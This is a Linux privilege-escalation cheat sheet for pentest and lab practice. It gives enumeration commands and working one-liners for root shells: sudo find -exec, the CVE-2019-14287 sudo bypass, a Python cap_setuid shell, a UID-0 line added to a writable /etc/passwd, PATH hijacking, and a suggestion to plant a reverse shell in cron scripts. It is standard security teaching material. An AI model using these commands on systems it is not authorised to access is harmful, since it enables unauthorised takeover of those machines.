Linux Privilege Escalation Cheat Sheet

You have a shell as a normal user and you want root. Linux privilege escalation is the hunt for the one thing the box got wrong — a sudo rule too generous, a SUID binary that should not be one, a writable cron job, a dangerous capability. This is the enumeration that finds it and the commands that turn each finding into a root shell. Every command copies with one click.

The single best habit: enumerate before you exploit. Most boxes hand you root through a misconfiguration you can only see if you look, so the first half of this page is looking.

Know who and where you are

Start here on every box. These four lines decide most of what comes next.

id

Your user, groups and UID. Membership of docker, lxd, disk or sudo is often the whole path to root on its own.

sudo -l

What you are allowed to run with sudo. The most common win on real boxes — read every line, especially anything marked NOPASSWD.

uname -a

Kernel version and architecture — the input to any kernel-exploit search later.

cat /etc/os-release

Distribution and release, which decides what is patched and what is not.

Sudo misconfigurations

When sudo -l shows you can run a program as root, that program is often a way to a root shell — look it up on GTFOBins (see below). Two classics:

sudo /usr/bin/find . -exec /bin/sh \; -quit

If you may run find as root, its -exec gives you a root shell directly. The same idea works for vim, less, awk, python and dozens more.

sudo -u#-1 /bin/bash

CVE-2019-14287: on unpatched sudo, running as user ID -1 resolves to root even when the rule says you may run as any user except root.

SUID and SGID binaries

A SUID binary runs as its owner — often root — no matter who launches it. Find them, then check each against GTFOBins.

find / -perm -4000 -type f 2>/dev/null

Every SUID binary on the system. Anything unusual here — a scripting language, an editor, a custom tool — is a candidate.

find / -perm -2000 -type f 2>/dev/null

SGID binaries — the same idea for group privileges. Check both lists.

/usr/bin/find . -exec /bin/sh -p \; -quit

If find itself is SUID root, this drops a root shell. The -p tells the shell to keep the elevated privileges.

Linux capabilities

Capabilities hand a single binary one slice of root power without the SUID bit, so they hide from a SUID search. Hunt them separately.

getcap -r / 2>/dev/null

Lists files with capabilities set. cap_setuid on an interpreter is game over — for example, a Python with it:

./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

With cap_setuid+ep, Python can set its UID to 0 and hand you a root shell.

Cron jobs

Root-owned scheduled tasks that run a script you can write are a direct path up. Read the schedules, then check the permissions of everything they call.

cat /etc/crontab

System-wide cron jobs, with the user each runs as. Note anything running as root that points at a script in a writable location.

ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly 2>/dev/null

The other places cron jobs live. A world-writable script here that root runs on a timer is an easy win — append a reverse shell or a SUID-copy of bash and wait.

find / -writable -type f 2>/dev/null | grep -v /proc

Every file you can write to. Cross-reference this against the scripts cron and services run as root.

Writable /etc/passwd and PATH hijacking

Two older but still-common wins. If /etc/passwd is writable, you can add your own root account:

openssl passwd -1 -salt xyz Password123

Generate a password hash, then append a new UID-0 line to /etc/passwd (hacker:HASH:0:0:root:/root:/bin/bash) and su hacker. If a root-run script calls a command by name instead of full path, and you control PATH, you can shadow that command:

export PATH=/tmp:$PATH

Drop a malicious script named after the command into /tmp first, and the root process runs yours.

Kernel exploits (last resort)

If nothing above works, the kernel itself may be exploitable — but kernel exploits can crash the box, so treat them as a last resort and never run one on production you care about.

searchsploit linux kernel $(uname -r | cut -d- -f1)

Search the local Exploit-DB copy for your exact kernel. Read the exploit before running it, and prefer a lab snapshot you can roll back.

Let a tool do the enumeration

Manual enumeration is worth learning first, but on a real engagement an automated script finds in seconds what would take you an hour. The standard three, all free and open source:

LinPEAS — the most thorough all-in-one enumerator; run it and read the red/yellow highlights. pspy — watches processes and cron jobs fire in real time without needing root, which catches scheduled tasks you would otherwise miss. GTFOBins (gtfobins.github.io) — not a script but the lookup table: paste in a binary you can run as root or that is SUID, and it tells you the exact command to escalate.

Questions people actually ask

Where do I even start? id, sudo -l, then the SUID find. Those three cover the majority of straightforward boxes; only reach for cron, capabilities and kernel exploits when they come up empty.

What is GTFOBins? A community list of standard Unix binaries that can be abused to break out of restricted shells or escalate privileges. When sudo -l or your SUID search names a binary, GTFOBins is where you look up how to turn it into a shell.

Why does everyone say “enumerate” so much? Because privesc is almost never a clever exploit — it is spotting the one misconfiguration the admin left behind. The finding is the hard part; the command to abuse it is usually a one-liner you can copy.

Sharpen this on a box you control

Build a target to practise on with Lab 00, and pair this with the Nmap cheat sheet for the recon that comes before you ever get a shell.

Techniques and CVE references checked on the date shown at the top. Nothing here is behind an email form or a download. Privesc paths shift as distributions patch — if a command no longer behaves as described on a current system, tell me and I will re-check and update the date.